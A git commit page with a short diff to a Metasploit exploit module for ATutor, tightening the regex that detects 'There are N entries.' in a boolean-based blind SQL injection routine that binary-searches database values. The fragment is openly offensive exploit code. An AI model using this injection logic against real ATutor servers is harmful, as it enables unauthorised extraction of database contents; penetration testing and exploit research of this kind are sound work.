Update the regex for the number of students in ATutor
parent
5d64346a63
commit
cda4c6b3b3
|
@ -243,7 +243,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
mid = (lower + upper) / 2
|
mid = (lower + upper) / 2
|
||||||
sqli = "#{sql}>#{mid}"
|
sqli = "#{sql}>#{mid}"
|
||||||
result = perform_request(sqli, cookie)
|
result = perform_request(sqli, cookie)
|
||||||
if result =~ /There are \d entries./
|
if result =~ /There are \d{0,8} entries\./
|
||||||
lower = mid + 1
|
lower = mid + 1
|
||||||
else
|
else
|
||||||
upper = mid
|
upper = mid
|
||||||
|
@ -254,7 +254,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
else
|
else
|
||||||
sqli = "#{sql}=#{lower}"
|
sqli = "#{sql}=#{lower}"
|
||||||
result = perform_request(sqli, cookie)
|
result = perform_request(sqli, cookie)
|
||||||
if result =~ /There are \d entries./
|
if result =~ /There are \d{0,8} entries\./
|
||||||
value = lower
|
value = lower
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -265,12 +265,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
if do_test
|
if do_test
|
||||||
if do_true
|
if do_true
|
||||||
result = perform_request("1=1", cookie)
|
result = perform_request("1=1", cookie)
|
||||||
if result =~ /There are \d entries./
|
if result =~ /There are \d{0,8} entries\./
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
else not do_true
|
else not do_true
|
||||||
result = perform_request("1=2", cookie)
|
result = perform_request("1=2", cookie)
|
||||||
if not result =~ /There are \d entries./
|
if not result =~ /There are \d{0,8} entries\./
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue